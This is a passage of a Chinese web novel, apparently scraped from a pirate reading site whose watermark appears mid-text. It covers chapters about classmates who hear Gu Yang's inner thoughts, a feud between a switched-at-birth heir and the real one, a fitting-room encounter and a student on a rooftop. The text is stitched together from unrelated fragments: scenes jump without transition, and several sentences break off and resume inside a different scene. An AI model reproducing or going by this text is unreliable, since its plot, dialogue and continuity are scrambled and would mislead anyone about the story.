“大家的未来都改变了嘛,这都算得上是救命之恩了。”贺明安扬起笑意,用轻松的语调说道。 顾央抬起头,看着映在贺明安脸上的笑容,冷不丁地问道:“那你呢?你的未来也改变了吗?” 贺明安猝不及防地怔住。 他早就习惯顾央相当跳跃没有任何铺垫的转移话题方式,但当锋刃直指向核心的时候,他还是乱了阵脚。 那张笑容的面具几乎要被抠下来。 “我啊……” 他听到自己的声音音缓缓说道,依然含着笑意,竭力保持着和平时无二的姿态。 “我好像也没什么需要改变的地方吧。” 第 79 章 第 79 章 「明安,你一生下来就已经比别人拥有了更多的东西,所以在有能力的情况下,尽量地去帮助那些并没有那么幸运的人吧。」 他还记得小时候妈妈这么和他说过。 那个时候他们刚刚从面包店出来,洋溢着甜腻气味的暖意被寒风全部打碎,马路对面坐着个衣衫褴褛的乞丐。 那么冷的天气,只裹件单薄的,脏兮兮的卫衣,看起来和他们身处两个世界。 妈妈牵着他的手走过去,将袋子里的面包放在乞丐的面前,还有刚刚在商场时给他买的羽绒大衣。 乞丐原本枯槁的眼神亮了一下,那样子就好像有人用火柴给蜡烛续上了光。 他对面包没什么感情,但那件衣服是妈妈买给他的,现在被乞丐套在身上,他有种非常微妙的感觉。 他不喜欢属于自己的东西和别人贴太近。 「可是你看那个人,快要落雪的天气只穿得这么少,不是很可怜吗?」 数学老师顿时大惊,无数死去的记忆又开始攻击起了他。 不行啊,这个是不能惹的! 他赶紧轻咳一声,示意旁边的人可以坐过去了。 陆寂这才惊醒过来,他迈步时差点就同手同脚了,走下讲台还被台阶绊了下。 坐在第一排的男生扶了他一下,还对他笑了笑:“小心点。” 陆寂的目光还有些僵直,但叶郴倒也不在意对方的无视。 坐到位置上,陆寂才稍微回魂了一点。 他忍不住又往后面去看。 刚刚声音就是从那里传过来的,他想起那个声音了。 他记得那个人的名字叫做顾央。 但为什么,明明确实可以听到声音,但看不到嘴巴在动? 就、就他一个人能听到吗? 而且这说的是人话啊? 他和陆然?小情侣?我错了。顾央想。 身旁是男人混乱的喘息声,狭小昏暗的更衣室里,两个人紧紧地挨在一起。 鼻尖是缥缈的高级香水,身后是更衣室里布料的摩擦声,他本以为精装店的更衣室说不定空间可以更大一点。然而,这件更衣室却意外一般地狭小,容忍一个男生或许刚刚好,容忍两个,便显得他们仿佛是鲱鱼罐头里相拥的两只鱼,艰难地在拥抱的罅隙中呼吸着。 迟到了戚珣的休憩茶会,惹得戚珣在蒋白止针对他时袖手旁观,故意为难他,是他的犯下的第一次错误。 在茶会上因为再见蒋白止,没隐忍不发,反而把水泼了蒋白止一身,结果意外撞上戚母监视戚珣导致电击突发,这是第二个错误。 居然真的答应了陪蒋白止外出更换新的衣服,却不小心撞见蒋白止的父亲和情妇,为此被迫逃进了同一个更衣室中,这又是第三个错误。 “闭嘴,敢吭声我就让你从学校离开。” 更衣室内,两个人挨得很近,几乎能感觉到隔着薄薄一件衬衫下蓬勃而灼热的□□。 蒋白止脸色格外难看,阴沉如水,他双眼皮沉甸甸地压在眼睛上,抬眼看人时,仿佛一对冷冽的弯刀。 顾央头昏昏沉沉,忍不住压低声音,“太近了……” 他们确实挨得很近,顾央蹙眉,偏过头去,似乎非常抗拒与他接触。 蒋白止冷眼看着抗拒的神色,内心有些烦闷,“你再多说一句,我就把你扒光了扔出去。” 他语气冷冷地警告,仿佛一个低吼着警告威胁他的狼犬,顾央只能闭嘴。而更衣室外,蒋父与他的情妇正笑着说些什么。 “你今天陪我逛街,公司没有事吗?” “有什么事?”男人笑着,暧昧地摩挲情妇的肩膀,“我家不成器的儿子想折腾,便让他试着折腾。” “你不怕他生气?”情妇笑道。 “他有本事就将我从这个公司踹下,否则无论如何,都翻不过我这座五指山。” 蒋父说道:“好啦,自从他母亲死后,他就晦气得要命,你晓得他看我的眼神么?像是一只不听话的狼崽子。今天聊他做什么?不应该陪你么?” “少来,我是你这个月的第七个了吧?” “你放心,我是真的对你心动。我们匹配可是90,没有什么能将我们分开,从此往后我眼里都只有你。” “……” 蒋白止金丝眼镜后一双狭长的眼睛微微眯起,今天他才在家里发现另一个留下的衣服。 他的父亲真是一如既往地令人恶心,轻而易举地便能被的迷得团团转。 他悄无声息地指使着一个他的内线店员去拍摄他父亲与情妇的照片,顾央很小声地问:“你认识他们?” 当然认识,自己的种马废物老爹,立志于扳倒他、夺得蒋家大权的蒋白止冷哼一声,漠然道:“不关你的事,就闭嘴。” 然而,就在这时,门外的女人似乎挑好了衣服,高跟鞋踩在地上发出清脆的声响,“哒哒”地一下又一下敲击在人的心脏上。 高跟鞋与他们越来越近,一个人影停在他们门口,“这间没有人吧?我先试试这件。” 她似乎根本没有注意到这间更衣室里的二人,一边和蒋父打趣着聊天,一边巧手一伸。更衣室外暖黄色的灯光透过缝隙斜斜地漏进来——居然就要掀开两个人的帘子! 顾央睁大眼睛,根本无法想象,如果二人此时的场景被外面的人目睹,会是怎样的情形。而蒋白止显然也不想被他的父亲发现,眉头皱得更紧。 “别动。” 眼前仿佛是逐帧定格的电影,精致的丝绒布游动着,头顶处的金属吊环发出细微的声响滑动着,光芒越来越盛,眼看就要暴露! 千钧一发之际,顾央忽然觉得自己下巴一疼,接着,他被掐住下巴,被迫地仰起了头。 顾央呆滞了半晌,随后自己的双手猛地被人交叠握住,用力地摁在了头顶上方。 “等等,你要做什……” 男人的指尖顺着他掌纹的生命线缓慢地滑动,令人头晕目眩的灯光下,蒋白止喉结上下滚动,面目一片隐忍地低下了头。 “装一下,叫一声。” 在顾央逐渐放大的瞳孔中,他们二人越靠越近,呼吸逐渐交缠,龙涎香在空气中缓慢地蒸腾起来,他被蒋白止完全笼罩在身下,双腿被男人的膝盖挑开,脚尖被迫踮起。 蒋白止往他腰上的软肉掐了一下,顾央顿时发出一声压抑的闷哼,而下一刻,更衣室的帘子猛地被人一拉! 一时间仿佛有惊涛骇浪,席卷而过。 陆寂的眉头压低了下去,他的长相很硬,浓眉深眼的,表情不好时就会给人带着戾气的感觉。 叶郴用笔戳了下坐他旁边的余白,示意他看后面。 “好凶啊。”语气还有些看热闹不嫌事大。 余白尴尬一笑。 他有时候真的挺佩服叶郴的,自己屁股都没擦干净,还有心情看别人的笑话。 但是被盯着的人却是恍若未觉,只是有一下没一下地拿着笔去戳桌上的纸。 陆寂眉毛拧得更深,但他还没看出个什么所以然来,坐在前面的贺明安侧身挡住了他的视线,笑眯眯地看着他。 陆寂心下一凛,那个邀请他转到十一班的通知来得莫名其妙,这自然不可能是陆家的意思。 会是这个人做的吗? “我劝你最好别看得这么明显。”前面的男生转头凑过来,声音很低地说道,“你这么盯着看,再迟钝的人都能感觉得的到。” “认识一下呗,我是叶郴,以后都是一个班的同学了。” 陆寂冷漠地看着伸过来的那只手,并没有接受这份示好。 他可以感受到眼前这个人的轻浮和恶劣。 叶郴若无其事地收回了手,继续说道:“你才来第一天不清楚也正常,如果招惹到了顾央,指不定他在心里会怎么编排你,到时候再挖出些你的糗事当众放送,那就尴尬了。” “你也能听到刚刚的东西?”陆寂脱口而出,他的脸色阴晴不定,“你们都能听到?” 他意识到自己似乎知道了一个不得了的秘密。 叶郴勾唇一笑,他点到为止,剩下的就让陆寂自己去猜。 这下倒是精彩了,有了陆寂的加入,陆然以后的日子怕是不好过了。 余白最后还是打了个电话,但又没法把这件事情解释清楚,只能含糊地大概交代,怕顾央出什么问题,拜托宋引星帮忙关注下情况。 但对方说得越不确定,他反而心里越慌,就赶紧拔了针出院过来。 “是吗?”顾央轻飘飘地说道,“那我遇到的事情,刚好还是他们引起来的,这该怎么办才好呀?” 宋引星不知道他们之间发生了事情,表情微微一凝。 但顾央已经从床上爬了起来,他手肘撑着床面,往宋引星那里挪了挪。 “我们来玩个小游戏吧。” “什么游戏?”宋引星半跪在床边,看着顾央问道。 “你来猜猜我现在内心在想什么?” “如果猜对了的话,我可以答应你任何一件事情。” 第 80 章 第 80 章 “在想十一班的同学吗?” 顾央摇摇头。 “……是在网上看到的事情吗?” 顾央用手打了个叉。 “那是你家里发生了什么吗?” 顾央单手托腮,继续摇头。 “最近要参加什么宴会?” “身体不舒服?” “下个月的期末考试?” “你要说的就是这个?”顾央见他没别的话,唇角上挑了下,露出了个很冷,还带着点不怀好意的笑容,“我还以为你又跟顾俞辉闹得不痛快,想要我来帮忙说点好话。” 顾清许被那个笑容给刺了下,他面色不太好地望着顾央,目光缓缓落到别在对方衣服上的那枚胸针。 整体被设计成了银质鸢尾花的形状,主石是一颗日落色的帕帕拉恰。 顾清许知道顾俞辉出差的时候在拍卖会上买了枚古董胸针。 就因为上次陆然耍性子,半道截走了顾央原本要拍下来的珠宝,小辈之间的小打小闹,也真亏顾俞辉还能关注到。 价格是不贵,但还真是有心了。 他脸上扯出一个皮笑肉不笑的表情。 也不知道谁才是他的亲生儿子。 顾央已经上楼走了,底下的佣人眼观鼻鼻观心,假装什么都没有看到。 身为一家之主的顾总不经常在家,因此他们打交道的大多是这对兄弟。 二少爷看着和气,但实际说话做事都很强势,大少爷看着阴阴郁郁的,但反而在很多事情上都无所谓。 大多数情况下,永远都是二少爷在强硬地发号施令,大少爷不会做出什么反抗。但大少爷一旦不满意起来,二少爷也是永远都落不到好的。 继续待在这里也没什么意思,顾清许选择回自己的房间,在经过长廊时,他看到一个佣人站在父亲的书房前。 “你在那里干什么?” “二少爷。”佣人满脸为难,“顾总书房里的电话一直在响,这已经是第三个了,会不会有什么要紧事?” 里面确实是有电话在响,顾清许摆了摆手,示意佣人退下。他站那里听了会电话铃声,在断掉后又一次响起时,推门走了进去。 他漫不经心地环视了圈,杂乱的文件就这么摊在书桌上,估计都是些不重要的。 电话仍然在响着,这年头已经很少会有人拨打座机,顾清许还以为是家里的那几个老古董,接起来去听。 那边的声音如蒙大赦,慌慌张张地响起来:“顾总,我是沈山,真是非常冒昧地打扰到您,能不能给我几分钟时间,我想我们之间可能有些误会……” 是沈家啊。 还真是打不死的小强,生命力真够旺盛的,一不留神又给他蹦跶到眼前了。 顾清许轻声啧了下,直接坐在了那张扶椅上。 宋引星:“……” 他觉得自己今天是真的疯了。 旁边路过了个同样来参观的小男孩,应该是听到了他们的话,跑过去的时候做了个鬼脸:“公共场合说这种,羞羞脸!” 顾央,宋引星:“……” 后面的半程里,他们逛得异常沉默跟走任务一样快速走完了这里,然后默契地决定早点回去。 但是在从海底世界回去的路上,他还没来得及平复下匪夷所思的心情,却在中途得知了一个消息。 夏椿失踪了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-85 第 81 章 二合一 发现这件事情的人是谢坞。 在那次找去服装店被抓包后,他又私下偷偷地调查过好几次。 调查的结果简直是一言难尽。 年轻的时候跟过大老板的传言居然是真的,跟的人有家室这件事情也是真的,夏椿就是冯小春和那老板生的,还带着自己还在上小学的孩子跑上门去闹。 说起来这不就是三吗…… 调查的是同校同学的家长,谢坞也不好多说什么,只能自己在心里嘀咕。 他干嘛要跟一本狗血小说计较这么多。 听到这句话时,贺明安脸上的笑容微微敛住。 什么主角?什么悲惨经历? 他们已经走到了教室。陆然咬着下唇,死死盯着顾央,瞳孔地震。 怎么回事?他、他明明没在说话啊? 「听着还怪惨的,这也太倒霉了。」余白在群里默默打字。 「这是什么天崩开局,这种家庭能养出什么人来,看起来那个真少爷估计也不太行,陆家还要陆然的话,真少爷想要斗估计挺不容易的,还有这么多年的感情基础在。」 「也不能这么说吧,反正陆家的大头肯定给他们的长子陆争,股份又不会分,剩下的也就是拿拿分红,这种情况养一个和养两个也没什么区别啊。」 「怎么没区别啊?光是有这么个人站你面前蹦跶还不够糟心?你自己代入进去想想啊,有人偷走了你的少爷人生,代替你享福了那么多年,反而是你平白无故一直被搓磨。」 「现在你是被接回来重归正轨了,但那个便宜都占尽了的人还要跟你一起共享你的人生?你是哪来的圣母转世吗还没区别?」 「看把我们大明星给气的,真可惜你现在不在学校,你是没看到陆然现在脸上的表情有多好玩,嘻嘻。」 余白:…… 哇哦-医院里。宋子涵立刻喜笑颜开,说了句等你回来后就跑回病房去了- “我以前虽然了解一点宋同学家里的情况,知道他条件不太好,但没想到,居然还有这么多隐情。” 出租车上,贺明安率先提起了这件事情。 顾央没说什么,因为他开头就知道。 “这么糟糕的家庭,宋同学没有长歪,还能保持这么优秀的成绩,还真是难得,也难怪你……” 贺明安话说到一半,剩下半截省略。 “难怪我什么?”果然,顾央开口问道。 “没事。“贺明安笑着摇了摇头,转移了话题,“今天时机不对,本来可以找他聊聊的。” “他在医院里看到我们的时候,心里应该挺难受的,继续待在那里,只会让他更不自在。” “……为什么?”在听到这句话时,顾央甚至还回忆了下刚刚的景象,脸上闪过疑惑。 怎么还会问他为什么,贺明安失笑。 他从很早以前就意识到,顾央在情绪感知方面非常薄弱。 就似乎是唯独在这一块领域迟滞了发育,像一个被留在了原地没能长大的小孩一样。 班里面的同学根据听到心声只言片语的桥段,拼拼凑凑后得出顾央喜欢宋引星这个神奇而离谱的结论。 只有贺明安一开始就清楚不是这么回事。 谈不上喜欢。 但谈不上喜欢,却还是有那么些与众不同的意思在里面。 就是从顾央能够听到心声的那一天开始的,一切都发生了变化。 这几天真的发生太多太多的事情了,很多其实早就已经是矛盾重重,陈年烂疮的事情,只是刚刚好,有人把这件事情给捅了出来。 他们班的人都能听到顾央在心里说的那些八卦,心照不宣地共享这个秘密, 他一直默许着这个局面,是不是也是在期待着,有一天能够…… “到了。”顾央开口说道,轻轻的话语打断了所有的思绪。 贺明安回过神,两人走下车来后,顾央继续刚刚那个问题:“为什么会不自在?” “自己的父亲赌博,失心疯到变卖房产,这又不是什么光彩的事情,被同校同学听了当然会很尴尬。” “如果只是我应该还好,但你也在,你帮过他很多次,对他的意义本来就不一样,让你见到他应付家里一地鸡毛的样子,他自尊上应该一时之间收到了冲击,短时间都不知道该怎么面对你才好。” “他可能还会觉得你会看不上眼他那个上不了台面的父亲,甚至是跟他父亲吵架,作为儿子的他本人。” 贺明安平淡地说道,他的话其实没什么攻击性,可有些事实说清楚了就是会让人很不舒服。 “我没有啊。”顾央驳回了这句话。 他又不是不知道宋引星的情况。 毕竟宋引星的底子书里早就交代地干干净净,从不幸的家庭背景到高考失利,再到背负巨额债务承受母亲死亡,辍学打工供弟弟上学,好不容易找到了个好工作却被聂瑛从中破坏,被迫只能重新打起临工。 贺明安的脸色微微怔住,他很少露出这么难绷的表情,在顾央的心声中听完了宋引星无比怨种的一生, ……这听起来也太惨了。 但毕竟宋引星也不知道顾央知道连他自己都不知道的不幸人生。 “下次见面的时候,你们可以就这件事再好好聊聊。”他们已经差不多回到了教室门口,对于这件事贺明安也只是点到为止,没有再多说什么。 “班长,你们回来啦?”余白眼尖地打了声招呼,“人怎么样了?” 贺明安下一句话就自然接上了这个问题:“没什么事,我和阿央等他醒了以后才回来的,就是老毛病犯了,一时起得太猛烈了点,加上没及时用喷雾。” “没事就好。”谢坞接嘴,“刚刚吓死我了,突然就昏过去了,这心理承受能力也太……” 他也没继续说下去。他为什么要把这些事情都说出来、不对,他为什么要把这件事用意念传递出来? 这到底是怎么做到的? 顾央还是人吗? 他以前就觉得顾央这个人很奇怪。 去看很感人的电影,全场都哭崩了他脸上也没什么表情,有时候又会在莫名其妙的地方笑出来。 现在更加渗得慌了。 说起来他根本就不了解顾央,他们两个的关系也不算特别好,顾央怎么就、怎么突然…… 他捧着通讯列表在那里翻,在划到贺明安的时候顿了下。 他知道的人里面,和顾央走得最近的应该就是贺明安,他们好像挺早就认识了。 但问题是他和贺明安也不算很熟。 而且根据他知道的那个传闻来看,贺明安应该对现在的他应该会很冷淡。 刷进聊天软件的时候,陆然才发现,其中有好几个小群的消息已经99+了。 他们班里的人排列组合式地拉过无数个群,陆然嫌烦全部屏蔽掉了,现在才反应过来,一个个戳进去看- 第二天来到学校的时候,顾央脸上困顿的神色相当明显,他一进教室,又趴到了桌子上。 “你昨晚又去修仙了?”余白忍不住吐槽道,“晚上不睡上课补觉,你还真是我辈楷模。” 之前就听说顾央因为失眠的问题在看心理医生,但他真怀疑不是什么精神问题,是顾央的生物钟已经乱掉了。 偶尔他大晚上睡不着骚扰人,顾央永远都可以做到秒回。 余白觉得他需要的不是心理医生,而是一个到了点能够把他手机给缴了让他安分点闭上眼睛的人。 “对了,你昨晚跟叶郴两个人出去吃饭,有没有聊点什么?”余白忍不住八卦道。 “谁知道,他刚开始还跟我敞开心扉聊了一大段,后面全程没有说话,就盯着我的脸看我吃饭。” 余白:“……” 怎么好好一件事,能被你说得那么暧昧。 但他当然心里门儿清,叶郴肯定是单独拉着顾央想要抖点什么情报。 只是具体问了什么,他肯定也不好问。 一是没合适的话术去问,二是他们现在虽然看起来大家天天在共享八卦拉近距离,但有些人应该是恨不得把知道他们丑事的都杀了。 得了,又来一个修仙的。 余白眼看着陆然走进来,位于眼下的两个黑眼圈看着相当有存在感。 不过这个倒是可以理解,毕竟昨天才当众丢了那么大一个脸,今天居然还愿意准时来上课,这份脸皮也是挺不容易的。 陆然一进来,就能感受到班里的氛围凝滞了下,好几个人都在若有若无地打量着他。 平时要是碰到这种情况,他早就拉下脸直接当面质问了,但现在也只能捏着鼻子当什么都没看到。 原因不外乎其他,只是因为他的身份而已。 从他们的立场来看,占去了别人位置和资源的假少爷,无疑是令人鄙夷的。 说的再怎么好听,到底也不过是在就占巢穴而已,更何况陆然的情况被他妈妈刻意调换送过来享福。 这到底是什么狗血小说照进现实。 毕竟当场被人公开处刑这种事情,代入一下确实还是挺崩溃的。 “对了,陆然这次昏倒,陆家夫妇去了没?”叶郴感兴趣地问道。 贺明安看了他一眼,还是点了下头。 “那看起来陆家夫妇心里还是宝贝他啊,就算真少爷回来了,也没打算赶他走,继续让他做陆家的少爷。”叶郴嘲讽地笑了笑,最后一句话还有点咬牙切齿,“命还真好啊。” 他这句话才落下,班里所有人的视线突然就齐刷刷地看了过来。 叶郴靠在桌上的手一滑,就算是他,要承受那么多道富有压力的目光,也还是有点压力的。 在消毒水的味道和仪器声中,陆然缓缓睁开眼睛。 他茫然地环视了圈周围,眼中的焦距一点点聚拢,终于看清了站在床头看着他的爸妈和哥哥。 不对,现在已经不是了。宋引星垂下了眼睛,缓缓地回忆。 他在上一世,和顾央并没有什么直接的交集。 聂瑛的狐朋狗友里有个叫顾清许的,所以时不时能从他们嘴里听到这个名字。 他的神色复杂而隐晦。 而最后一次听到,就是顾央在家里浴缸中割腕自尽的消息。 如果顾央也是重生的话,那么为什么他不去自救,反而一而再,再而三地来解救他这个素不相关的人?- 顾央懒洋洋地卧坐在沙发上,怀里抱着只皮毛光滑的长毛布偶猫。 “啊呀大少爷,您怎么就穿着件衬衫坐在客厅啊,会着凉的,现在天气这么冷。”小黄刚刚还在外面找猫,走过来时见顾央穿得太少,忍不住问候了句。 话音未落,顾央就幅度很小地打了个喷嚏。 小黄抓了个现行,一脸你看吧我说什么了的表情,匆匆折回去拿了个毯子回来盖在顾央身上。 顾央懒洋洋地说道:“为什么不能是有人在想我?” 虽然这么说着,但他并没有做出拒绝的行动。 “我刚刚在那里一顿找,原来布林在您这里,它真的好喜欢少爷您啊。”小黄感慨道。 布林是这只布偶猫的名字,因为营养太好,所以皮毛油光水滑的,体重也即将突破二十大关,看着手感相当之好。 当然她对于这件事情非常有成就感,因为这就是她工作业绩的具象化表现。 没错,她的工作就是负责照顾这只猫。 她大学读的冷门专业,毕业即失业,还好有个在豪门工作的叔叔把她介绍到了这里。 月薪八千,包吃包住,工作内容是照顾好雇主家里养的猫,日常画风就是定时喂饭,铲铲猫砂,带它去宠物店洗澡做检查。 她无数次都在暗暗思考,她的亲叔叔到底是怎么坑骗雇主家开出这么一份工作的。 因为实在是闲得格格不入,所以她平时还会主动帮着做些事情,也就是所谓的眼里有活。 所以她目前第二大的工作量就是,为偶尔会在客厅刷新出来的大少爷端杯水,送个果切,盖个小毯子之类的。 没别的意思,她只是个肤浅的颜控而已。 顾央把头靠在猫咪圆滚滚的后背上,布林喵的叫了下,晃动着它的尾巴。 小黄明目张胆地端详了会,再次为这份神仙工作默默点了个赞。 只可惜这份平静的氛围没有维持多少时间,外面有人过来拜访。 小黄探头往外面看了眼,有点眼熟,好像是雇主家的亲戚,她很有眼色地默默退到了一边去。 一共来了两三人,从辈分上来说,都还比顾俞辉大了一辈。 所以顾俞辉出来迎接时,态度都还是相当客气的。 顾清许也相当有礼貌地叫了声大叔公二叔公和三叔公。 三个老人慈眉善目地点头回应,但他们移步到客厅时,看到沙发上的顾央,瞬间板下脸来。 顾俞辉一副并没有察觉到什么的作态,他招呼顾央:“小央,几个叔公来做客了,过来见见他们。” 顾央还没有给他们分个眼神,二叔公倒是率先冷哼了一声:“我可担不起这么一声二叔公。” 他对于顾央的态度一直非常冷淡,毕竟当年俞锃出国留学回来时带了个女人回来嚷嚷着要结婚,结果没几天就因为车祸的原因去世了。 本来以为这事也算不了了之了,结果过了一个月,那女人居然查出了怀孕。 这个时间实在是微妙,更离谱的是俞辉不知道是失心疯了还是怎么的,一定要把那女人留下来,还不让他们去做亲子鉴定,确定父亲到底是谁。 加上那段时间还传出了俞辉觊觎自己的寡嫂的事情,让事情的复杂程度更加上升了一个台阶。 三叔公给了二叔公一个眼神,示意他别当着孩子的面说这个。 但二叔公只是冷笑了一声:“怎么,这件事情都能闹上热搜,让那么多人看我顾家的笑话,我还说不得了?” 大叔公也摸着胡子点了点头,看着顾央的眼神眼睛不是眼睛鼻子不是鼻子的。 一想到这点,他的胸口又开始绞起来。 “然然,怎么了然然,你不要吓妈妈啊。”陆夫人急得要命。 “我没事。”陆然沙哑地说道,对着陆夫人勉强笑了下。 本来不说还好,但这话一说出来,陆夫人的眼眶瞬间都红了。 她宠了十几年的小儿子,什么时候用这么小心翼翼的态度跟她说过话啊。 “我和你妈妈还有你的大哥二哥,一听到你进医院的消息,就赶紧放下手头的事情过来了。”陆总叹了口气说道,“你这孩子都多大了,怎么连自己的身体都照顾不好。” 一捕捉到二哥这个词,陆然瞬间就应激了,他尖叫起来。 “我没有什么二哥,我只有一个哥哥!” 果然每对互相仇视的真假少爷背后,永远都有一对拎不明白的父母。 不是,你们亲儿子因为阴差阳错被迫糟了那么多年的罪,你们放在第一位的居然还是假儿子能不能接受这件事。 真少爷,你好惨啊。 余白最先看到顾央他们,刚刚被贺明安赶回来后硬生生憋回去的八卦之心顿时反弹地熊熊燃起,他本来还在盘算着怎么委婉地开口,一道张扬的声音率先响起。 “哟,这不是顾央吗?听说你闹死闹活在天台上面要寻短见。” 余白侧目看过去,坐在位置上翘着二郎腿的男生表情管理明显欠佳,他的五官其实相当俊美精致,但脸上的神色硬生生削减了几分可观赏性。 一回来就跟吃了火药一样,看起来没来学校的这段时间,他在家里不太好受啊,前屁股刚坐下就开始呛人。 “刚刚在天台上要寻短见的是别人,阿央为了吸引他的注意力,才故意演戏的。”贺明安淡淡地开口。 “哦哦,这就叫走了别人的路,让别人无路可走。”余白相当捧场地接话。 面上可以演戏,心声却无法作假,但眼下他们都没有多说什么。 “呵,我怎么不知道你什么时候这么好心了?” 叶郴倒是笑嘻嘻地说道:“陆然,怎么刚回来就跟只喷火龙一样,你的双胞胎弟弟不是刚刚才回家吗?不该高兴点。” “……”,名叫陆然的男生瞬间黑了脸,“我没有什么弟弟,这是我在这个班里最后一次说这句话,谁在不长眼提,信不信我抽他?” 看着顾央盯着他看,陆然恶声恶气地说道,“看什么看?再看信不信我真打你了?” 余白欲言又止,他其实很想提醒陆然最好不要惹到顾央,这些天他不在的时候真的发生了很多事,但又怕对方抽他。 不断地往上,不断地接近,不断地变得清晰。 然后试图扭开门。 但这扇门已经提前被他锁了上来,见打开未果,声音过了会后就消失了。 夏椿回头盯着那扇门,从心里消失的感觉,说不上来到底算什么。 也许是期待? 他几乎要被自己这个荒谬的想法给逗笑了。 都已经做下了决定,居然还期待着有人能够发现并且阻止他,那他为什么不干脆开一个直播,将哗众取宠贯彻到底好了? 但那个脚步声还在继续响着,往下走这,一直没有消失。 夏椿就这么保持着偏头的姿势往下看着。 云被吹散,在裸露出来的月光下,距离天台几层楼往下的露台上,走出来一个人影。 非常熟悉的面孔。 是顾央—— 夏椿原本让自己极力平静下来的心脏,无法控制地重新激烈跳动起来。 第 82 章 第 82 章 “真是奇怪啊。”夏椿面无表情地开口,“我明明没有和任何人说过自己在哪里?你怎么找到我的,难不成你是跟踪狂吗?” “还是你要和我说,这大晚上的……”他手肘撑在膝盖上,杵着脑袋往下看着,“你专门跑到这种鬼地方来散心?” 一口气爬了十几楼上来,顾央差点没背过气去,他已经好久好久没有过这么高强度的运动了,此刻只能默默地扶着墙喘气,喘够了才幽幽地回过了头。 那双在黑夜中的眼睛显得格外地幽深,也不知道是不是错觉,夏椿居然从中品出了哀怨的意味,似乎是在责备他为什么要爬那么高。 “什么跟踪狂。”他的气息还有点浮动,以至于说出来的话都像是熟人之间的抱怨, “谁是那种变态啊。” “你不是和我说过的吗?就是烂尾楼。”“那你这次打算怎么谢我?”顾央笑着问道,他的态度就像是在一个直白讨要礼物的小孩,期待着面前的人能够带给他什么有趣的体验。 宋引星深深地看了他一眼。 “我一直在想这件事情,包括前几次,但还没有想到。”他最缺的就是钱,但很明显,这偏偏是顾央最不缺的东西。 他勉强压下那股让人不适的晕眩感:“……我一定会给你一个满意的答案。” 顾央的睫毛动了下。 他总觉得宋引星的态度和之前每当这个时候,她总是会忍不住地想到然然。 那个孩子嘴甜,性格活泼,总是能够逗得家里哈哈大笑,这也是他们感情深的原因之一。 她知道这份比较是不公平的。 她的亲生孩子,在外面受了那么多苦,好不容易回到了她的身边,她怎么能够再要求那么多? 来到了病房门口时,她下意识停下脚步,看了眼身边的人。 他们昨晚商量过了,以后毕竟要在同一个屋檐下生活,这么僵持下去肯定是不行的。 然然被宠坏了,想要让他妥协也不现实,他们带着小寂多来探探病,然然本性不坏,只要感受到这份善意,一定也愿意敞开心扉。 她推门进去。 原本躺在病床上的陆然,刚亮着眼睛坐了起来,在看到陆寂那张脸的一瞬间,脸色就不太好看了。 夫妇俩假装没有察觉到的样子,陆夫人笑着说道:“小寂在家里一直说好久没见然然了,想过来看看你。” 听到这番说辞,陆寂皱了下眉,但到底没有说出反驳的话来。 他没有办法拒绝陆夫人恳求的表情。 陆然听到这话,表情更不好看了。 他冷笑一声:“应该是盼着我不在才好吧。” “诶。”陆总赶紧阻止了他的说辞,“大家都是一家人,自然要在一起才算好,你二哥心里是有你的。” “是啊是啊。”陆夫人赶紧帮腔道,“小寂在家里也时不时会念叨到你,还说希望你能够赶紧出院,你不在的这几天里,他一直都很想你。” “哈?”陆然不可置信地哼了声,刚想说你在这里给我装什么装,突然之间眉眼一顿。不太一样了,但模模糊糊地又说不上来。 他只是点了点头- 在校门口分开以后,宋引星给他的弟弟打了个电话。 电话打了二十几秒钟,然后自动挂机,宋引星换成了发消息,问对方今晚能不能替自己去趟医院。 他嘴角的伤痕太明显,去了肯定要被妈妈问。 过了一会后,一条消息才姗姗来迟,唧唧歪歪说了一大堆,无非是什么晚上作业太多实在没办法之类的话。 宋引星没问他为什么不接电话,自己去了医院。 他的妈妈还清醒着,看到之后果然问了他发生了什么。 宋引星随便搪塞了下,说是在路上走时脸着地摔了一跤。 宋母明显是不信。 宋引星不想对方替操太多心,就说道:“我真的没事,学校同学都挺好的,大家都有自己的事要忙,不会闲的无聊去欺负人的 ,你看上次,我不是还带了一个朋友来见你。” 这句话倒是真的,宋母的心安下了很多。 气质骗不了人,上次过来探望她的那个男生,一看就是家里条件相当优越贵养出来的。 但放心归放心,宋母嘴上还是少不得唠叨。 左一句你在学校千万不要和同学起冲突,右一句你现在的任务就是好好读书,别老是操心那么多了。 到了最后,她的精神明显有些疲惫了,只能嘟囔着越说越轻,“我们好好过,日子一定会好起来的……” 宋引星应着,但在背过身的时候,神情一下子晦暗了下来。 真的好得起来吗? 夏椿的眼睛微微睁大。陆然抓住陆夫人的手,看着围绕在自己的家人,定下神后才委屈地开口。 “我梦到你们都不要我了,把我从家里赶了出来,我身上还穿着睡衣,你们连件衣服都不让我穿,我光着脚站在外面,怎么拍门你们都不开。” “怎么会呢然然,爸爸妈妈怎么会这么对你。”陆夫人赶紧说道,“这里就是你的家,谁敢赶你出去。” 陆总也走上去,两个人轮番去哄。 陆争看着他们几个的样子欲言又止,最后只能说道:“爸,妈,那你们现在这里陪着然然,剩下的文件我来处理吧。” 他走出门时,在楼梯拐角处看到了一个身影,家里的下人没那么大胆子去偷听,陆争出声叫住了那个人:“陆寂。” 原本要走上楼梯的人停住,他冷漠地转过了头:“什么事。” “然然的性格就是这样,一有点不顺心的就要闹,你别跟他太计较。”陆争说道,“你也没必要搬去学校宿舍住,过几天他就闹不动了。” 在听到对方说的那些话时,陆寂笑了下,似是自嘲,但又带着尖锐的讽意。 “没事,我的宿舍已经分配下来了,反正我申请到了特招生的名额,住宿费也不用你们出。” “不是钱的问题。”陆争的神色变得有些不悦,“你不声不响地搬出去,有没有考虑过妈妈的想法?” “你做事情之前就不能先跟家里说一下吗?要不是刚刚贺家打电话过来问,我们都还不知道。” 陆寂站在高处,他低头往下看:“我搬出去,不是刚好合了你们的心意吗?” “你怎么能这么想?为了接你回来,爸爸很早就让人收拾出了一间房,里面的装修都是妈妈亲自布置的。我们从来没有要排斥你,陆寂,是你自己过不去这道坎。” “然然在我们家待了十八年,现在怎么可能就因为…这种事情让他离开?” 一提到陆然,陆寂的脸色瞬间蒙上了层阴影。 剩下的话连提都不想提了,他转身直接走了。 陆争看着他离去的背影,也没有再开口,收回视线后,他看到了挂在墙上的台历,脸上闪过若有所思的神色。 “原来是快到那一天了,怪不得……” 据说,绝大部分人会对小时候发生过的事情缺少记忆,这种现象甚至还有个专门的名词,叫作童年失忆症。 但陆然偏偏记得很清楚。 就算是刻意想要忘记,他的梦也会无数次带他回到那个寒冷的仓库。 